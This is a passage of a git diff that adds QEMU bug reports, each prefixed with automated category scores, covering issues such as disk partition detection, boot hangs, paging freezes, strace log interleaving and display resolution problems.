missing when booted in Qemu. OpenSolaris thinks that /dev/sdd3 (which is a primary Solaris 'bf' type partition) is not sliced. Hence, its showing 2 unmountable slices and 1 reserved slice. + +When booted in VirtualBox, the correct slice table is seen. We can see slice 0 being 'root' slice of about 16GB, slice 1 being 'swap' slice of size about 6GB and slice 6 being the 'data' slice of about 26GB. + +This is a showstopper bug for me to adopt KVM as the virtualization solution because I just can't boot my OpenSolaris guest. I want to move to KVM because of in-kernel support and better SMP support. + +I ran qemu from command line with debugcon: + +# /usr/bin/qemu-system-x86_64 --enable-kvm -M pc-0.12 -enable-kvm -m 1024 -smp 2,sockets=2,cores=1,threads=1 -name opensolaris -uuid 7efc6da0-e40f-a1c5-0e85-763dc7ff209c -nodefaults -rtc base=localtime -boot dc -device lsi,id=scsi0,bus=pci.0,addr=0x6 -drive file=Korona4.4.5.iso,if=none,media=cdrom,id=drive-ide0-1-0,readonly=on,format=raw -device ide-drive,bus=ide.1,unit=0,drive=drive-ide0-1-0,id=ide0-1-0 -drive file=/dev/sdd,if=none,id=drive-ide0-0-0,format=raw -device ide-drive,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0 -usb -device usb-tablet,id=input0 -sdl -vga vmware -chardev stdio,id=seabios -device isa-debugcon,iobase=0x402,chardev=seabios +Start bios (version pre-0.6.1-20100713_085324-titi) +Ram Size=0x40000000 (0x0000000000000000 high) +CPU Mhz=2814 +PCI: pci_bios_init_bus_rec bus = 0x0 +PIIX3/PIIX4 init: elcr=00 0c +PCI: bus=0 devfn=0x00: vendor_id=0x8086 device_id=0x1237 +PCI: bus=0 devfn=0x08: vendor_id=0x8086 device_id=0x7000 +PCI: bus=0 devfn=0x09: vendor_id=0x8086 device_id=0x7010 +region 4: 0x0000c000 +PCI: bus=0 devfn=0x0a: vendor_id=0x8086 device_id=0x7020 +region 4: 0x0000c020 +PCI: bus=0 devfn=0x0b: vendor_id=0x8086 device_id=0x7113 +PCI: bus=0 devfn=0x10: vendor_id=0x15ad device_id=0x0405 +region 0: 0x0000c040 +region 1: 0xf0000000 +region 2: 0xf1000000 +PCI: bus=0 devfn=0x30: vendor_id=0x1000 device_id=0x0012 +region 0: 0x0000c100 +region 1: 0xf1010000 +region 2: 0xf1012000 +Found 2 cpu(s) max supported 2 cpu(s) +MP table addr=0x000fdbe0 MPC table addr=0x000fdbf0 size=244 +SMBIOS ptr=0x000fdbc0 table=0x3ffffec0 +ACPI tables: RSDP=0x000fdb90 RSDT=0x3fffde10 +Scan for VGA option rom +Running option rom at c000:0003 +Turning on vga text mode console +Starting SeaBIOS (version pre-0.6.1-20100713_085324-titi) + +UHCI init on dev 00:01.2 (io=c020) +Found 0 lpt ports +Found 0 serial ports +ATA controller 0 at 1f0/3f4/0 (irq 14 dev 9) +ATA controller 1 at 170/374/0 (irq 15 dev 9) +ata0-0: QEMU HARDDISK ATA-7 Hard-Disk (698 GiBytes) +drive 0x000fdb40: PCHS=16383/16/63 translation=lba LCHS=1024/255/63 s=1465149168 +ata1-0: QEMU DVD-ROM ATAPI-4 DVD/CD +PS2 keyboard initialized +WARNING - Timeout at wait_qh:218! +Timeout on wait_qh 0x3ffef990 (td=0x3ffef8f0 s=400000 c=c1/0) +All threads complete. +Scan for option roms +Running option rom at ca00:0003 +ebda moved from 9fc00 to 9f400 +Returned 53248 bytes of ZoneHigh +e820 map has 7 items: + 0: 0000000000000000 - 000000000009f400 = 1 + 1: 000000000009f400 - 00000000000a0000 = 2 + 2: 00000000000f0000 - 0000000000100000 = 2 + 3: 0000000000100000 - 000000003fffd000 = 1 + 4: 000000003fffd000 - 0000000040000000 = 2 + 5: 00000000fffc0000 - 0000000100000000 = 2 + 6: feffd00000000000 - ff00100000000000 = 0 +enter handle_19: + NULL +Booting from DVD/CD... +1368MB medium detected +Booting from 0000:7c00 + +Why are PCHS and LCHS both wrong? + +I thought C*H*S was equal to the physical size. if c <16384, h<16, s<63 for the physical, then max size disk it can support is about 8GB. what gives? + +And C*H*S IS equal to the disk size as shown in the fdisk -l output above. + +Since I have been battling this issue alone in this bug report, here is the deal: Attached is the patch which applies to 12.5 and 13.5 and fixes the issue. + +Can someone please verify the integrity and apply? + +hello? anybody home? + +On Thu, Aug 19, 2010 at 7:03 AM, devsk <email address hidden> wrote: +> hello? anybody home? +> +> -- +> OpenSolaris guest fails to see the Solaris partitions of a physical disk in qemu-kvm-9999 (GIT) +> https://bugs.launchpad.net/bugs/618533 +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> +> Status in QEMU: New +> +> Bug description: +> # qemu-kvm --version +> QEMU emulator version 0.13.50 (qemu-kvm-devel), Copyright (c) 2003-2008 Fabrice Bellard +> +> The following disk is presented to guest as IDE disk with /dev/sdd as path. +> +> # fdisk -l /dev/sdd +> +> Disk /dev/sdd: 750.2 GB, 750156374016 bytes +> 255 heads, 63 sectors/track, 91201 cylinders, total 1465149168 sectors +> Units = sectors of 1 * 512 = 512 bytes +> Sector size (logical/physical): 512 bytes / 512 bytes +> I/O size (minimum/optimal): 512 bytes / 512 bytes +> Disk identifier: 0x7f3a03aa +> +> Device Boot Start End Blocks Id System +> /dev/sdd1 63 7887914 3943926 1b Hidden W95 FAT32 +> /dev/sdd2 7887915 980736119 486424102+ 83 Linux +> /dev/sdd3 * 980736120 1083150494 51207187+ bf Solaris +> /dev/sdd4 1083150495 1465144064 190996785 5 Extended +> /dev/sdd5 1083150558 1107746009 12297726 83 Linux +> /dev/sdd6 1107746073 1465144064 178698996 7 HPFS/NTFS +> +> The prtvtoc output is attached from both VirtualBox and Qemu-KVM. As can be seen in the screenshots, a valid Solaris partition table (which is inside the /dev/sdd3, marked 'bf' in Linux fdisk output) is not seen in Qemu but seen in Virtualbox. +> +> This makes the guest unbootable in Qemu because the root FS is not found but its bootable in Virtualbox. + +Please send the patch to the qemu-devel list. Don't forget a +Signed-off-by: line. + +What's this bugdb for then? I now have to subscribe to a list, just to send the patch? + +On Fri, Aug 20, 2010 at 5:15 AM, devsk <email address hidden> wrote: +> What's this bugdb for then? I now have to subscribe to a list, just to +> send the patch? + +It's probably there to report bugs. But it's much easier to review +submitted code when it's sent to the list. I don't think you have to +be a subscriber. + +what's the list address? All the lists at the kvm main page are for kvm only. + +On Fri, Aug 27, 2010 at 3:57 PM, devsk <email address hidden> wrote: +> what's the list address? All the lists at the kvm main page are for kvm +> only. +> +> -- +> OpenSolaris guest fails to see the Solaris partitions of a physical disk in qemu-kvm-9999 (GIT) +> https://bugs.launchpad.net/bugs/618533 +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> +> Status in QEMU: New +> +> Bug description: +> # qemu-kvm --version +> QEMU emulator version 0.13.50 (qemu-kvm-devel), Copyright (c) 2003-2008 Fabrice Bellard +> +> The following disk is presented to guest as IDE disk with /dev/sdd as path. +> +> # fdisk -l /dev/sdd +> +> Disk /dev/sdd: 750.2 GB, 750156374016 bytes +> 255 heads, 63 sectors/track, 91201 cylinders, total 1465149168 sectors +> Units = sectors of 1 * 512 = 512 bytes +> Sector size (logical/physical): 512 bytes / 512 bytes +> I/O size (minimum/optimal): 512 bytes / 512 bytes +> Disk identifier: 0x7f3a03aa +> +> Device Boot Start End Blocks Id System +> /dev/sdd1 63 7887914 3943926 1b Hidden W95 FAT32 +> /dev/sdd2 7887915 980736119 486424102+ 83 Linux +> /dev/sdd3 * 980736120 1083150494 51207187+ bf Solaris +> /dev/sdd4 1083150495 1465144064 190996785 5 Extended +> /dev/sdd5 1083150558 1107746009 12297726 83 Linux +> /dev/sdd6 1107746073 1465144064 178698996 7 HPFS/NTFS +> +> The prtvtoc output is attached from both VirtualBox and Qemu-KVM. As can be seen in the screenshots, a valid Solaris partition table (which is inside the /dev/sdd3, marked 'bf' in Linux fdisk output) is not seen in Qemu but seen in Virtualbox. +> +> This makes the guest unbootable in Qemu because the root FS is not found but its bootable in Virtualbox. + +Sorry, I missed that this was for qemu-kvm. Anyway, the patch is +probably applicable to QEMU as well and you actually filed the bug to +Qemu. + +qemu-devel list information can be found in +http://lists.nongnu.org/mailman/listinfo/qemu-devel + +Did this change get submitted? Is it still an issue? + +On Sun, May 22, 2011 at 1:43 PM, Brad Hards <email address hidden> wrote: +> Did this change get submitted? Is it still an issue? + +At least the patch hasn't been applied. I don't remember seeing it in the list. + + +Is this issue still reproducible with the latest version of QEMU, or could we close this issue nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/627 b/results/classifier/108/graphic/627 new file mode 100644 index 000000000..7e51ffff0 --- /dev/null +++ b/results/classifier/108/graphic/627 @@ -0,0 +1,22 @@ +graphic: 0.965 +performance: 0.798 +device: 0.793 +files: 0.401 +permissions: 0.355 +network: 0.342 +semantic: 0.297 +debug: 0.237 +vnc: 0.129 +socket: 0.081 +other: 0.074 +boot: 0.066 +PID: 0.018 +KVM: 0.001 + +VI.EXE crashes on start under QEMU; works under BOCHS +Description of problem: +vi.exe hangs on startup; can be verified to work in bochs +Steps to reproduce: +1. Run vi.exe from DOS prompt; hang is evident immediately as ~ ~ ~ ~ doesn't show up +Additional information: +Actual [vi.exe](/uploads/d77076b8187489253c6ad8f1ab3ec247/vi.exe) attached; it's ridiculously old; the kind of thing that belongs on archive.org; I think I actually own this copy program by inheritance; but if the copyright holder objects we'll have to take it down again. :( diff --git a/results/classifier/108/graphic/654 b/results/classifier/108/graphic/654 new file mode 100644 index 000000000..57be7e3d2 --- /dev/null +++ b/results/classifier/108/graphic/654 @@ -0,0 +1,38 @@ +graphic: 0.937 +other: 0.882 +performance: 0.699 +semantic: 0.625 +device: 0.574 +network: 0.459 +files: 0.455 +PID: 0.407 +permissions: 0.358 +vnc: 0.352 +KVM: 0.291 +debug: 0.266 +socket: 0.238 +boot: 0.146 + +Strace Log Output Mangled +Description of problem: +The syscall log entries from the strace logging capability can be interrupted by other log messages before the full syscall line is +complete. +This makes parsing the strace syscall lines from the log output difficult. +Steps to reproduce: +1. Run the supplied command with a simple dynamically linked binary, or a binary that performs mmaps +2. Notice that the strace 'mmap' syscall log entries in the trace file are interrupted by the page log output +Additional information: +I have attached an example log from a dynamically linked 'hello world' binary, which demonstrates the bug in the mmap syscall strace entries. [output.trace](/uploads/88c83273582d00241fbf95af735dcc61/output.trace) + + +I believe this bug caused by a couple of things: +Firstly, in the linux-user/syscall.c file: the strace syscall entry is not output atomically, but instead split across two calls: +The first half is at `print_syscall`: https://gitlab.com/qemu-project/qemu/-/blob/master/linux-user/syscall.c#L13153 +And the return value (and new line) is printed in `print_syscall_ret`: https://gitlab.com/qemu-project/qemu/-/blob/master/linux-user/syscall.c#L13160 + +In the case of the mmap syscall, the function `log_page_dump` is called between these two functions resulting in the mangled log output: +https://gitlab.com/qemu-project/qemu/-/blob/master/linux-user/mmap.c#L633 +There may be other syscalls that behave similarly, but this was noticed due to the mmap behavior. + + +Internally to the `print_syscall` and `print_syscall_ret` functions, `qemu_log` is called multiple times to compose the full log entry, and it seems that it is inside `qemu_log` that the logfile lock is obtained and dropped - so theoretically another thread can output to the log during the printing of a single syscall entry between these `qemu_log` calls. I do not know if this actually happens in practice besides the mmap scenario described above. diff --git a/results/classifier/108/graphic/661 b/results/classifier/108/graphic/661 new file mode 100644 index 000000000..b059dcb52 --- /dev/null +++ b/results/classifier/108/graphic/661 @@ -0,0 +1,59 @@ +graphic: 0.971 +performance: 0.845 +network: 0.736 +socket: 0.730 +device: 0.722 +other: 0.722 +boot: 0.707 +debug: 0.690 +PID: 0.688 +semantic: 0.679 +permissions: 0.677 +files: 0.639 +vnc: 0.625 +KVM: 0.545 + +Unable to enable 5 level paging +Description of problem: +When attempting to set cr4.LA57, qemu just freezes on that instruction. When I say freeze I mean literally freeze, no exceptions, nothing, it just halts forever on that instruction. When this happened, the first thing I did was + +``` +(qemu) info registers +EAX=00001000 EBX=00000001 ECX=80224f08 EDX=00000000 +ESI=8034a3a0 EDI=00026520 EBP=000079f8 ESP=000079c8 +EIP=00019648 EFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0020 00000000 ffffffff 00c09300 DPL=0 DS [-WA] +CS =0018 00000000 ffffffff 00c09a00 DPL=0 CS32 [-R-] +SS =0020 00000000 ffffffff 00c09300 DPL=0 DS [-WA] +DS =0020 00000000 ffffffff 00c09300 DPL=0 DS [-WA] +FS =0020 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +GS =0020 00000000 ffffffff 00cf9300 DPL=0 DS [-WA] +LDT=0000 00000000 00000000 00008200 DPL=0 LDT +TR =0000 00000000 0000ffff 00008b00 DPL=0 TSS32-busy +GDT= 0000e120 00000037 +IDT= 00000000 00000000 +CR0=00000011 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000000 +... +``` + +then using gdb to figure out what instruction it is hanging on, I set a breakpoint at 0x19648 at and ran +``` +(gdb) x/1 0x19648 +=> 0x19648: mov %rax,%cr4 +(gdb) +``` + +This instruction corresponds to this LOC within limine https://github.com/limine-bootloader/limine/blob/trunk/stage23/protos/stivale.32.c#L33 +Steps to reproduce: +1. Try to enable 5 level paging +2. qemu freezes when trying to set cr4.LA57 +3. cry +Additional information: +This never happened prior to version 6.1, I test this on multiple different machines and a few of my friends +experienced the same issue + +I have not tested this on linux, however I assume it will do the same on anything else. +Either way, qemu should not be just halting diff --git a/results/classifier/108/graphic/668 b/results/classifier/108/graphic/668 new file mode 100644 index 000000000..db0322370 --- /dev/null +++ b/results/classifier/108/graphic/668 @@ -0,0 +1,36 @@ +graphic: 0.950 +files: 0.880 +other: 0.832 +device: 0.832 +debug: 0.805 +performance: 0.784 +vnc: 0.744 +network: 0.730 +semantic: 0.728 +PID: 0.680 +permissions: 0.645 +socket: 0.614 +boot: 0.551 +KVM: 0.399 + +No trace verbs +Description of problem: +I am trying to follow [this tutorial](https://github.com/ryanprescott/realtek-verb-tools/wiki/How-to-sniff-verbs-from-a-Windows-sound-driver) to get my sound working again, but I am stuck at the step where I have to analyse the verbs, because I get none. They say I should get things similar to this: +``` +CORB[1] = 0xf0000 (caddr:0x0 nid:0x0 control:0xf00 param:0x0) +CORB[2] = 0xf0002 (caddr:0x0 nid:0x0 control:0xf00 param:0x2) +CORB[3] = 0xf0004 (caddr:0x0 nid:0x0 control:0xf00 param:0x4) +RIRBWP advance to 3, last WP 0 +CORB caddr:0x0 nid:0x0 control:0xf00 param:0x0 response:0x10ec0245 (ex 0x0) +CORB caddr:0x0 nid:0x0 control:0xf00 param:0x2 response:0x100001 (ex 0x0) +CORB caddr:0x0 nid:0x0 control:0xf00 param:0x4 response:0x10001 (ex 0x0) +``` +in the `qemu-output.txt` file, but instead I am getting [this](https://github.com/ryanprescott/realtek-verb-tools/files/7331986/qemu-output.txt) in the console. + +How do I get verbs in the first format ? + +I tried compiling qemu from source with this: `./configure --enable-trace-backends=log --target-list=x86_64-softmmu`, but that produced the same result as using the `qemu-system-x86_64` command that I got by installing qemu with my package manager. +Steps to reproduce: +https://github.com/ryanprescott/realtek-verb-tools/wiki/How-to-sniff-verbs-from-a-Windows-sound-driver +Additional information: +I don't know, as me if I am missing something diff --git a/results/classifier/108/graphic/671 b/results/classifier/108/graphic/671 new file mode 100644 index 000000000..943d3dd15 --- /dev/null +++ b/results/classifier/108/graphic/671 @@ -0,0 +1,33 @@ +graphic: 0.988 +device: 0.920 +KVM: 0.819 +network: 0.782 +boot: 0.776 +PID: 0.764 +socket: 0.741 +vnc: 0.727 +semantic: 0.704 +performance: 0.670 +debug: 0.555 +other: 0.495 +permissions: 0.388 +files: 0.314 + +gtk with virtio and opengl black screen +Description of problem: +Running the provided command line, the screen is black, and the vm still starts. +I can confirm that turning off gl (with gl=off), everything works. + +These are line outputs printed out by QEMU: +``` +gl_version 45 - core profile enabled +vrend_renderer_fill_caps: Entering with stale GL error: 1280 +GLSL feature level 430 +virtio_input_hid_handle_status: unknown type 20 +virtio_input_hid_handle_status: unknown type 20 +``` +Steps to reproduce: +1. Execute the provided command +2. Wait +Additional information: +The bug was opened on launchpad by Ethan (ethannij). However, after the migration to github issues, the bug expired and no one reported here. This is the full launchpad discussion: https://bugs.launchpad.net/qemu/+bug/1898490 diff --git a/results/classifier/108/graphic/673 b/results/classifier/108/graphic/673 new file mode 100644 index 000000000..f15a5812d --- /dev/null +++ b/results/classifier/108/graphic/673 @@ -0,0 +1,25 @@ +graphic: 0.973 +boot: 0.802 +device: 0.780 +files: 0.736 +vnc: 0.652 +network: 0.650 +socket: 0.467 +permissions: 0.422 +PID: 0.413 +KVM: 0.371 +debug: 0.365 +semantic: 0.345 +performance: 0.281 +other: 0.087 + +I can no longer boot with -kernel and -initrd +Description of problem: +The kernel refuses to mount the initramfs and proceeds to kernel panic. i didnt have this problem until qemu updated +Steps to reproduce: +I have put it all in the git repo of my project +1. git clone https://github.com/oknowaen/ltl-initramfs.git +2. cd ltl-initramfs +3. make (will start automatically)! +Additional information: +[Screenshot_20211016_182355](/uploads/c04094f5bcccadc3f8473f2ea6fc864d/Screenshot_20211016_182355.png) diff --git a/results/classifier/108/graphic/691 b/results/classifier/108/graphic/691 new file mode 100644 index 000000000..a599f2dc3 --- /dev/null +++ b/results/classifier/108/graphic/691 @@ -0,0 +1,21 @@ +graphic: 0.964 +device: 0.827 +network: 0.778 +vnc: 0.575 +semantic: 0.525 +performance: 0.446 +files: 0.429 +debug: 0.419 +permissions: 0.298 +socket: 0.285 +boot: 0.239 +other: 0.230 +PID: 0.186 +KVM: 0.016 + +`-nic model=help` on qemu-system-riscv64 doesn't output supported models +Description of problem: +`-nic model=help` doesn't list out the supported NIC models and instead launches QEMU with warnings. + +Steps to reproduce: +1. run `qemu-system-riscv64 -machine virt -nic model=help` diff --git a/results/classifier/108/graphic/694 b/results/classifier/108/graphic/694 new file mode 100644 index 000000000..b352b6acd --- /dev/null +++ b/results/classifier/108/graphic/694 @@ -0,0 +1,16 @@ +graphic: 0.927 +device: 0.767 +debug: 0.421 +other: 0.369 +vnc: 0.250 +network: 0.205 +PID: 0.168 +performance: 0.150 +semantic: 0.149 +permissions: 0.138 +files: 0.111 +socket: 0.084 +KVM: 0.011 +boot: 0.007 + +Crash using MIPS I7200 CPU with non-nanoMIPS ELF diff --git a/results/classifier/108/graphic/696 b/results/classifier/108/graphic/696 new file mode 100644 index 000000000..60dbc1272 --- /dev/null +++ b/results/classifier/108/graphic/696 @@ -0,0 +1,24 @@ +graphic: 0.935 +device: 0.859 +semantic: 0.790 +other: 0.721 +performance: 0.702 +vnc: 0.695 +PID: 0.605 +files: 0.537 +socket: 0.521 +debug: 0.463 +network: 0.396 +boot: 0.350 +permissions: 0.262 +KVM: 0.206 + +EDID does not reflected to window size when added through the commandline +Description of problem: +It seems some odd behavior on the guest screen. it shows me the size of default window (640x480) instead of override the value to 1740x720. This size (640x480) is first initialized on ui/console.c => QemuConsole *graphic_console_init and I did noticed that in hw/display/virtio-gpu-base.c=> static int virtio_gpu_ui_info the override value is not taking place instead it just took the value from ui/console.c (640x480). May I know, how do I achieved the right override edid value from the current provided interface. + +##Additional information +I did noticed that the edid flag is always true (running this command) It is contradiction from the doc. +Steps to reproduce: +1. Run the qemu with the command mentioned +2. Check the resolution of guest OS diff --git a/results/classifier/108/graphic/707 b/results/classifier/108/graphic/707 new file mode 100644 index 000000000..ea6e6c2f9 --- /dev/null +++ b/results/classifier/108/graphic/707 @@ -0,0 +1,77 @@ +graphic: 0.942 +device: 0.740 +files: 0.730 +performance: 0.727 +permissions: 0.673 +vnc: 0.653 +semantic: 0.641 +network: 0.521 +KVM: 0.514 +PID: 0.496 +socket: 0.462 +debug: 0.309 +boot: 0.297 +other: 0.133 + +The QEMU emulator incorrectly interprets the contents of the SLIC table. See attached image. +Description of problem: +The QEMU emulator incorrectly interprets the contents of the SLIC table. + +The SLIC table read on pure hardware and in a virtual machine in the fedora 34 and 35: + + +Steps to reproduce: +Steps to Reproduce: + +1. Install Fedora 34 + +2. Install virtualization group: + + dnf group install virtualization + +4. Place SLIC binary image(slic.bin) into the direcrory /var/lib/libvirt/images + +3. Create Virtual Machine with Virtual Machine Manager. + +4. Modify xml description of virtual machine: + `... + <os> + ... + <acpi> + <table type='slic'>/var/lib/libvirt/images/slic.bin</table> + </acpi> + </os> + ...` + +5. Install Microsoft Windows 7 64-bit into Virtual machine. + +6. Place sertificate into Windows 7. + +7. Run with admin rights: + + slmgr.vbs /ilc <sertificate> + slmgr.vbs /ipk <key> + +8. Windows 7 will be activated ! + +9. Save Virtual Machine Image and it's xml description anywere. + +10. Install Fedora 35 + +11. Install virtualization group. + +12. Place saved Virtual Machine Image and slic.bin into the directory /var/lib/libvirt/images/ + +13. Register virtual machine: + + virsh -c qemu:///system define <xml_file> + +15. Run virtual machine - Windows 7 will lose it activation. +Additional information: +Fedora 34 has: + kernel-5.14.15-200.fc34.x86_64, qemu-system-x86-5.2.0-8.fc34.x86_64 + +Fedora 35 has: + kernel-5.14.15-300.fc35.x86_64, qemu-system-x86-6.1.0-9.fc35.x86_64 + +Slick Binary Image: [slic.bin](/uploads/da94a96516c3dbe52803fb84738f434c/slic.bin) diff --git a/results/classifier/108/graphic/716 b/results/classifier/108/graphic/716 new file mode 100644 index 000000000..a8dd00ba0 --- /dev/null +++ b/results/classifier/108/graphic/716 @@ -0,0 +1,18 @@ +graphic: 0.958 +debug: 0.928 +device: 0.862 +semantic: 0.733 +other: 0.622 +vnc: 0.493 +network: 0.415 +boot: 0.316 +performance: 0.310 +PID: 0.302 +KVM: 0.292 +socket: 0.237 +permissions: 0.233 +files: 0.160 + +using "-device scsi-cd" option on arm64 platform +Description of problem: +When using OpenStack to create a virtual machine instance, I need to configure the password of the root user through cloud-init. I use the ConfigDriver method, in which OpenStack will mount a virtual disk in iso9660 format to the virtual machine instance. The command line generated by OpenStack is shown above. You can see that this ConfigDrive virtual disk is mounted via "--device scsi-cd". But when I entered the virtual machine instance and used lsblk, blkid and searched in /dev/disk/by-label, I did not find the virtual disk that should be mounted. In addition, I don't have more debugging messages or error messages. I want to know if the "scsi-cd" is not fully adapted to arm64 platform. diff --git a/results/classifier/108/graphic/717 b/results/classifier/108/graphic/717 new file mode 100644 index 000000000..fec22d793 --- /dev/null +++ b/results/classifier/108/graphic/717 @@ -0,0 +1,18 @@ +graphic: 0.966 +debug: 0.943 +device: 0.868 +semantic: 0.783 +other: 0.650 +vnc: 0.495 +network: 0.443 +PID: 0.357 +boot: 0.336 +performance: 0.333 +KVM: 0.309 +permissions: 0.301 +socket: 0.287 +files: 0.182 + +using the "scsi-cd" option on arm64 platform +Description of problem: +When using OpenStack to create a virtual machine instance, I need to configure the password of the root user through cloud-init. I use the ConfigDriver method, in which OpenStack will mount a virtual disk in iso9660 format to the virtual machine instance. The command line generated by OpenStack is shown above. You can see that this ConfigDrive virtual disk is mounted via "--device scsi-cd". But when I entered the virtual machine instance and used lsblk, blkid and searched in /dev/disk/by-label, I did not find the virtual disk that should be mounted. In addition, I don't have more debugging messages or error messages. I want to know if the "scsi-cd" is not fully adapted to arm64 platform. diff --git a/results/classifier/108/graphic/731 b/results/classifier/108/graphic/731 new file mode 100644 index 000000000..37bb1b6f2 --- /dev/null +++ b/results/classifier/108/graphic/731 @@ -0,0 +1,36 @@ +graphic: 0.985 +device: 0.921 +files: 0.820 +other: 0.810 +KVM: 0.800 +semantic: 0.768 +PID: 0.749 +debug: 0.723 +permissions: 0.714 +performance: 0.657 +vnc: 0.601 +socket: 0.600 +network: 0.570 +boot: 0.498 + +Display resolution fixed by 800x600 with latest VirtIO drivers and guest additions +Description of problem: +Display resolution can't be changed to anything else than 800x600. +Steps to reproduce: +1. Install qemu/kvm +2. Create virtual machine +3. Setup Windows 10 +4. Install VirtIO-Drivers +5. Install guest-agent +6. Install qxl-drivers + +Steps 5 and 6 enable use of QXL-Display, but do not lead to allow for higher display resolutions than before. +Additional information: + + + +Screen resolution is fixed by 800x600. +Driver is installed, but seems to have a problem (Attention sign. Warning, Error: digital signatur could not be checked -- at least there is no how to to make the existing signature work). +Latest available VirtIO-drivers where used as available from https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/stable-virtio/virtio-win.iso + +Older available drivers did not work too as expected. Same problem. Could not check older Windows 10 versions, because of lack of older install media. diff --git a/results/classifier/108/graphic/734 b/results/classifier/108/graphic/734 new file mode 100644 index 000000000..58eab5f63 --- /dev/null +++ b/results/classifier/108/graphic/734 @@ -0,0 +1,43 @@ +graphic: 0.932 +debug: 0.918 +performance: 0.893 +semantic: 0.846 +other: 0.805 +device: 0.780 +network: 0.774 +vnc: 0.737 +PID: 0.733 +permissions: 0.700 +files: 0.684 +socket: 0.623 +boot: 0.470 +KVM: 0.427 + +aarch64 tlb range invalidate is not accurate +Description of problem: +In this (https://gitlab.com/qemu-project/qemu/-/commit/84940ed82552d3c7c7327c83076b02cee7978257) commit, tlb range invalidate support is added, and I think qemu's range calculation is wrong. + +In `tlbi_aa64_range_get_length` function, `num`, `scale`, `page_size_granule` is caculated as below. + + +``` + num = extract64(value, 39, 4); + scale = extract64(value, 44, 2); + page_size_granule = extract64(value, 46, 2); + + page_shift = page_size_granule * 2 + 12; +``` + +As [Arm documentation](https://developer.arm.com/documentation/ddi0595/2021-06/AArch64-Instructions/TLBI-RVALE1--TLBI-RVALE1NXS--TLB-Range-Invalidate-by-VA--Last-level--EL1), NUM bits's length is 5, but the code above only extract 4bits. + +And `page_shift` also should be calculated as `(page_size_granule-1) <<1) + 12` rather than `page_size_granule * 2 + 12`. +Steps to reproduce: +1. +2. +3. +Additional information: +I found this issue while debugging a phenomenon that kernel panic occurs randomly in my qemu fork. + +I'm pretty sure this is one of the causes, but even if I roughly correct it, my problem has not been solved. + +I think my problem is TLB invalidate related issue, so if I find any more problems, I'll comment here. diff --git a/results/classifier/108/graphic/740 b/results/classifier/108/graphic/740 new file mode 100644 index 000000000..d08ed2909 --- /dev/null +++ b/results/classifier/108/graphic/740 @@ -0,0 +1,42 @@ +graphic: 0.967 +performance: 0.966 +device: 0.928 +PID: 0.821 +other: 0.807 +debug: 0.798 +socket: 0.781 +semantic: 0.760 +files: 0.758 +permissions: 0.715 +boot: 0.671 +network: 0.655 +vnc: 0.583 +KVM: 0.061 + +on single core Raspberry Pi, qemu-system-sparc appears to hang in bios +Description of problem: +I suspect it to be a race condition related to running on the slow single core Raspberry Pi, as I haven't managed to reproduce on x86 even when using taskset to tie qemu to a single core. + +The problem occurs about 4 out of 5 runs on qemu 5.2 (raspbian bullseye) and so far 100% of the time on qemu 6.1. + +About five seconds after start the sparc bios gets as far as `ttya initialized` and then appears to hang indefinitely. + +Instead, it should continue after about 3 more seconds with: +``` +Probing Memory Bank #0 32 Megabytes +Probing Memory Bank #1 Nothing there +Probing Memory Bank #2 Nothing there +Probing Memory Bank #3 Nothing there +``` + +See below for workaround. +Steps to reproduce: +1. Need a single core Raspberry Pi running raspbian, such as Raspberry Pi 1 or Zero +2. Download ss5.bin from https://github.com/andarazoroflove/sparc/raw/master/ss5.bin +3. Run the command: +``` +qemu-system-sparc -m 32 -bios ss5.bin -nographic +``` +After about 5 seconds of output it hangs at `ttya initialized` +Additional information: +## diff --git a/results/classifier/108/graphic/755 b/results/classifier/108/graphic/755 new file mode 100644 index 000000000..872e8beb4 --- /dev/null +++ b/results/classifier/108/graphic/755 @@ -0,0 +1,74 @@ +graphic: 0.923 +other: 0.891 +semantic: 0.885 +permissions: 0.871 +performance: 0.865 +debug: 0.865 +PID: 0.820 +device: 0.818 +socket: 0.818 +boot: 0.790 +KVM: 0.781 +vnc: 0.761 +network: 0.714 +files: 0.711 + +Qemu is stuck on the startup intermittently. +Description of problem: +Qemu is stuck on the startup intermittently. + +We are using kubevirt to launch the VM in kubernetes env. We have compiled qemu with a few flags enabled and using it. +All things are working as expected except we are seeing qemu stuck issue during VM startup. Please find logs from system in additional information + +Qemu version: qemu-system-x86-core-5.1.0-9.fc32.x86_64.rpm +Libvirtd version: 6.6.0 +Steps to reproduce: +1. Create and start a VM. +Additional information: +TOP OUTPUT: +-------------- +``` + PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND + **125 qemu 0 -20 8519896 73392 15412 R 99.9 0.1 85:27.96 CPU 0/KVM ** + 113 qemu 20 0 8519896 73392 15412 S 0.0 0.1 0:00.14 qemu-system-ori + 121 qemu 20 0 8519896 73392 15412 S 0.0 0.1 0:00.00 qemu-system-ori + 122 qemu 20 0 8519896 73392 15412 S 0.0 0.1 0:00.00 IO iothread1 + 124 qemu 20 0 8519896 73392 15412 S 0.0 0.1 0:00.23 IO mon_iothread + 126 qemu 0 -20 8519896 73392 15412 S 0.0 0.1 0:00.00 CPU 1/KVM + 128 qemu 20 0 8519896 73392 15412 S 0.0 0.1 0:00.00 vnc_worker +``` + +qemu logs on error: +------------------- +``` +KVM: injection failed, MSI lost (Operation not permitted) +KVM: injection failed, MSI lost (Operation not permitted) +KVM: injection failed, MSI lost (Operation not permitted) +KVM: injection failed, MSI lost (Operation not permitted) +KVM: injection failed, MSI lost (Operation not permitted) +KVM: injection failed, MSI lost (Operation not permitted) +KVM: injection failed, MSI lost (Operation not permitted) +``` + +dmesg logs from host:- +---------------------- +``` +[ 7853.643187] kvm: apic: phys broadcast and lowest prio +[ 7853.643265] kvm: apic: phys broadcast and lowest prio +[ 7853.643341] kvm: apic: phys broadcast and lowest prio +[ 7853.643413] kvm: apic: phys broadcast and lowest prio +[ 7853.643486] kvm: apic: phys broadcast and lowest prio +[ 7853.643559] kvm: apic: phys broadcast and lowest prio +[ 